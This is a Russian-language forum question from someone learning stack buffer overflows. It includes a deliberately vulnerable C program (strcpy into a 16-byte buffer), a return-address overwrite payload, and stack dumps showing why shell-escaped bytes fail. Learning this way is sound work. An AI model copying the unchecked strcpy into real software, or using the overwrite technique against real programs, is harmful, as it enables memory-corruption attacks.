Данные из командной строки не перезаписывают стек
Мне жаль, что это необычно долго, я просто хочу, чтобы участники увидели, что я пробовал, прежде чем публиковать.
Мой код:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void nevercalled(){
printf("nevercalled");
}
void gadget1(char payload[]){
char buff[16];
strcpy(buff, payload);
}
int main(int argc, char** argv){
gadget1(argv[1]);
return 0;
}
Когда я передал этот аргумент командной строки:AAAABBBBCCCCDDDD\x19\ x0c \ x00 \x60 и просмотрел первые 20 слов, я получил:
0x603ffeb0: 0x41414141 0x42424242 0x43434343 0x44444444
0x603ffec0: 0x3931785c 0x6330785c 0x3030785c 0x3036785c
0x603ffed0: 0x603fff00 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffee0: 0x60000b9c 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffef0: 0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8
Вместо чего-то вроде этого:
0x603ffeb0: 0x41414141 0x42424242 0x43434343 0x44444444
0x603ffec0: 0x60000c19 0x6330785c 0x3030785c 0x3036785c
0x603ffed0: 0x603fff00 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffee0: 0x60000b9c 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffef0: 0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8
Я решил, что полезная нагрузка, которая хранится в argv[1], в приведенном выше коде обрабатывается как одна строка, а не как символы массива. Я подтвердил, что он представлен как "AAAABBBBCCCCDDDD\\x19\\x0c\\x00\\x60", который мне не нужен, так как он снова преобразует адрес в шестнадцатеричный!
Чтобы быть уверенным, я решил передать аргумент напрямую, чтобы подтвердить это (сработало)
int main(int argc, char** argv){
gadget1("AAAABBBBCCCCDDDD\x19\x0c\x00\x60");
return 0;
}
0x603ffeb0: 0x41414141 0x42424242 0x43434343 0x44444444
0x603ffec0: 0x60000c19 0x60000b04 0xe8e8e8e8 0xe8e8e8e8
0x603ffed0: 0x60000804 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffee0: 0x60000bb8 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffef0: 0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8
В формате командной строки:(возвращается головная боль 0x3931785c)
int main(int argc, char** argv){
gadget1("AAAABBBBCCCCDDDD\\x19\\x0c\\x00\\x60");
return 0;
}
0x603ffeb0: 0x41414141 0x42424242 0x43434343 0x44444444
0x603ffec0: 0x3931785c 0x6330785c 0x3030785c 0x3036785c
0x603ffed0: 0x60000800 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffee0: 0x60000bc4 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8
0x603ffef0: 0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8
Как предотвратить обработку полезной нагрузки в argv[1] как
- AAAABBBBCCCCDDDD\x19\ x0c \ x00 \x60
?